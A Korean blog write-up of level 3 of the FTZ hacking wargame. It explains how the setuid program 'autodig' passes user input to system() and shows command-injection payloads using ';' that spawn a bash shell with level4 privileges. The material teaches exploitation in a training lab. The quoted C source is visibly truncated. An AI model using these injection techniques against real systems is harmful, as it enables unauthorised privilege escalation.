<FTZ LEVEL3>
$ id
uid=3003(level3) gid=3003(level3) groups=3003(level3) |
$ ls
hint public_html tmp |
$ cat hint
다음 코드는 autodig의 소스이다. #include <stdio.h> int main(int argc, char **argv){ char cmd[100]; if( argc!=2 ){ strcpy( cmd, "dig @" ); system( cmd ); } 이를 이용하여 level4의 권한을 얻어라. more hints.
|
autodig에 관한 소스코드가 나와 있다.(추가힌트도 있다)
우선 소스코드에 대해서 분석해 본다.
#include <stdio.h> int main(int argc, char **argv){ char cmd[100]; if( argc!=2 ){ |
argc는 명령행 옵션 개수, argv는 옵션의 문자열이다.
예를 들어 ls -al 명령어를 실행했다고 하면
argc 는 2가 될 것이며
argv[0]는 ls argv[1]은 -al 이 될 것이다.
그 말은 위 소스코드에서 if문은 argc가 2개가 아닐 때 가 된다.
} strcpy( cmd, "dig @" ); system( cmd ); } |
첫 번째 구문을 해석해 보면 2개를 입력하면 위 코드가 실행된다.
두 번째 구문에서는 strcpy와 strcat 함수를 사용하고 있다.
첫 행을 보면 dig@ cmd에 넣고 있다. 즉 dig명령어를 실행하는 것이다.
$ dig --help
dig는 서버의 IP나 도메인, 버전 등의 정보를 얻기 위해 사용하는 명령어 이다.
위 코드를 해석해보면
dig가 실행되고
dig @argv[1] version.bind chaos txt가 cmd가 되고
system(cmd)로 실행이 된다.
사실 뒤에 bind는 DNS서버에서 운영중인 BIND 프로그램의 버전을 확인하는 명령을 실행한다.
해당 서버에서 취약한 버전을 운영 중인지 확인 할 때 사용한다.
nslookup과 비슷한 명령어 라고 생각 하면 좋다.
이제 본격적으로 level4의 패스워드를 찾아보도록 하겠다.
추가힌트를 보면
1. 동시에 여러 명령어를 사용하려면?
; 기호를 써주면 된다.
$ autodig abc;my-pass
|
2. 문자열 형태로 명령어를 전송하려면?
""(더블쿼터) 기호를 써주면 된다.
$ autodig "abc;my-pass"
|
마찬가지 방법으로 쉘을 실행하려 시도 하지만 실행되지 않는다.
$ autodig "abc;bash;"
;기호를 사용하면 level4의 배쉬 쉘 을 획득할 수 있다.
이 힌트에 핵심이 뭐냐면 바로 system() 함수의 취약점이다.
코드 해석 그대로 보면
autodig 168.126.63.1 = dig @168.126.63.1 version.bind chaos txt 이다.
system함수는 변수값을 점검하거나 하지 않고 명령어를 그대로 쉘에게 전달한다.
이해가 안가면 이렇게 명령어를 쳐본다.
$ autodig "168.126.63.1 www.naver.com; id;"
; <<>> DiG 9.2.1 <<>> @168.126.63.1 www.naver.com ;; global options: printcmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 58915 ;; flags: qr rd ra; QUERY: 1, ANSWER: 3, AUTHORITY: 3, ADDITIONAL: 3 ;; QUESTION SECTION: ;www.naver.com. IN A ;; ANSWER SECTION: www.naver.com. 0 IN CNAME www.naver.com.nheos.com. www.naver.com.nheos.com. 27 IN A 202.179.177.22 www.naver.com.nheos.com. 27 IN A 125.209.222.141 ;; AUTHORITY SECTION: nheos.com. 16451 IN NS ns3.nheos.com. nheos.com. 16451 IN NS ns1.nheos.com. nheos.com. 16451 IN NS ns2.nheos.com. ;; ADDITIONAL SECTION: ns1.nheos.com. 17674 IN A 119.205.240.148 ns2.nheos.com. 16451 IN A 61.247.202.50 ns3.nheos.com. 2641 IN A 175.158.30.74 ;; Query time: 4 msec ;; SERVER: 168.126.63.1#53(168.126.63.1) ;; WHEN: Mon Nov 30 14:50:27 2015 ;; MSG SIZE rcvd: 199 uid=3004(level4) gid=3003(level3) groups=3003(level3) sh: line 1: version.bind: command not found |
마지막 에러 메세지가 출력 되었다는건 결과값이 아직 끝나지 않은 상태이다.
그리고 uid값은 level4의 값을 볼 수 있다.
결론은 명령어를 입력하는 도중에는 level4의 권한을 얻게 되는 것이다.
(명령어가 끝나면 다시 level3의 권한으로 돌아온다.)
위에 $ autodig "abc;bash;" 이것은
/bin/autodig "168.126.63.1 www.naver.com; bash;"
이렇게 보면 된다.
코드가 해석하기엔
dig @168.126.63.1 www.naver.com; bash; version.bind chaos txt
이렇게 해석되고 명령어 중간에 ;기호를 사용하여
동시에 여러 명령어들을 각각 그대로 쉘에게 전달되고 그중
bash 라는 명령어도 level4의 권한으로 얻게 되는 것이다.
'Learning > └◆System Hacking' 카테고리의 다른 글
[War Game] FTZ LEVEL 5 (0) | 2017.01.21 |
---|---|
[War Game] FTZ LEVEL 4 (0) | 2017.01.21 |
[War Game] FTZ LEVEL 2 (0) | 2017.01.21 |
[War Game] FTZ LEVEL 1 (0) | 2016.11.21 |